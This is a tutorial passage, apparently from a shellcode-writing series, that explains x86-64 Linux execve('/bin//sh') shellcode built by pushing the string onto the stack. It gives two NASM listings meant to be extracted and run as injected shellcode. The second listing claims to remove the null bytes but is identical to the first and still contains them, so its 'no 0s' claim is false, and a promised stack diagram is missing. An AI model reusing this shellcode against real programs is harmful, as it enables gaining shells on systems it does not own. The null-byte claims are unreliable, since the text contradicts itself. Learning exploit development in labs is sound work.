Shellcode 1 -> execve(/bin/sh) STACK PUSH

Now that we have covered various techniques to make shellcode, let's actually look at an example

execve() is a syscall in Linux that takes in 3 arguments and executes a command

These parameters/arguments will go in specific registers:

So, 59 is the rax, filename goes in rdi (/bin/sh), paramter to use with /bin/sh goes in rsi and environment variable (we really don't care about this right now) goes in rdx.

In Linux everything is a file. So is /bin/sh

Note that execve takes in a string as an input for RDI

In Linux system calls, strings are always null terminated. So we will somehow be pushing "/bin/sh\x00" onto the stack.

Cool, so we are clear that we have to push /bin/sh on the stack, make RDI reference this. Then we need to have RSI reference address of /bin//sh in memory which can be done with rsp. We can also have RDX reference this too.

so, the stack looks like:

Also, length of "/bin/sh" is 7 bytes. We need to make this 8 bytes to push absolute value on the stack. This is why instead of "/bin/sh" we will be pushing "/bin//sh" (same effect, 8 bytes instruction)

Since stack grows from high to low memory, we need to push in this "/bin//sh" in reverse order.

; /bin//sh in reverse: 68732f2f6e69622f
; execve parameters -> rax:59, rdi->/bin//sh, rsi->0, rdx->0
; stack-> 0x0->                     /bin//sh(in reverse)     ->     0x0
; point-> Null terminator for rdi   RDI                          RSI and RDX

global _start

section .text

_start:
        xor rax,rax
        push rax ; first NULL terminator
        mov rbx,0x68732f2f6e69622f
        push rbx ; Moving /bin//sh in reverse onto the stack
        mov rdi,rsp ; setting parameter /bin//sh as rdi for execve
        push rax ; 3rd null terminator on the stack
        mov rdx,rsp ; setting rdx
        push rdi ; pushing the address of /bin//sh in rdi
        mov rsi,rsp
        mov rax,59 ; setting execve syscall
        syscall

        ; not exiting since we need to retain the shell

With explanation, I wrote my code above which as you can see is working to give shell.

But upon inspecting this in GDB we can see that a lot of 0s are there so this might not work in C.

Let's remove those 0s.

; /bin//sh in reverse: 68732f2f6e69622f
; execve parameters -> rax:59, rdi->/bin//sh, rsi->0, rdx->0
; stack-> 0x0->                     /bin//sh(in reverse)     ->     0x0
; point-> Null terminator for rdi   RDI                          RSI and RDX
; author: harshit
global _start

section .text

_start:
        xor rax,rax
        push rax ; first NULL terminator
        mov rbx,0x68732f2f6e69622f
        push rbx ; Moving /bin//sh in reverse onto the stack
        mov rdi,rsp ; setting parameter /bin//sh as rdi for execve
        push rax ; 3rd null terminator on the stack
        mov rdx,rsp ; setting rdx
        push rdi ; pushing the address of /bin//sh in rdi
        mov rsi,rsp
        mov rax,59 ; setting execve syscall
        syscall

        ; not exiting since we need to retain the shell

OBJDUMP shows no 0s now

we can extract this and test in our skeleton C code using objdump comand line fu in the previous article

Last updated